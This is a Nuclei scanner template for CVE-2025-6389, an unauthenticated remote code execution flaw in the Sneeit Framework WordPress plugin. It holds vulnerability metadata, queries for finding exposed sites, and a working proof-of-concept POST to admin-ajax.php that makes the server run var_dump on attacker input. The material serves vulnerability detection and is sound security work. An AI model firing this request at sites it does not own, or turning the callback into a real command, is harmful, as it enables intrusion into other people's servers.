Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func

id: CVE-2025-6389

info:
  name: Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func
  author: DhiyaneshDk
  severity: critical
  description: |
    The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially injecting backdoors or creating new admin accounts.
  remediation: |
    Update to the latest version beyond 8.3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6389
    - https://www.cve.org/CVERecord?id=CVE-2025-6389
    - https://github.com/Nxploited/CVE-2025-6389
    - https://github.com/itsismarcos/SneeitScanner-CVE-2025-6389
    - https://wpscan.com/vulnerability/CVE-2025-6389
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6389
    cwe-id: CWE-94
    epss-score: 0.76209
    epss-percentile: 0.99535
  metadata:
    verified: true
    max-request: 1
    vendor: sneeit
    product: sneeit-framework
    framework: wordpress
    fofa-query: '"sneeit_articles_pagination"'
    shodan-query: http.html:"/wp-content/plugins/wp-social/"
    publicwww-query: "/wp-content/plugins/wp-social/"
  tags: cve,cve2025,wordpress,wp-plugin,sneeit,rce,unauth,vkev,intrusive,vuln,file-upload

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=sneeit_articles_pagination&callback=var_dump&args=%5B%22{{marker}}%22%5D

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "array(1)"
          - "{{marker}}"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - 'string\(\d+\) "([^"]+)"'
        group: 1
# digest: 490a00463044022072f9234cce50fdc4e4d7d2475148ab2bfc5189f4cbde8eb03f9482589d90807002202992cb3eb24ec9a9b7227ac72f7dd94a4f5ead2cb78dcff1a9391d5fb1b4d835:922c64590222798bb761d5b6d8e72950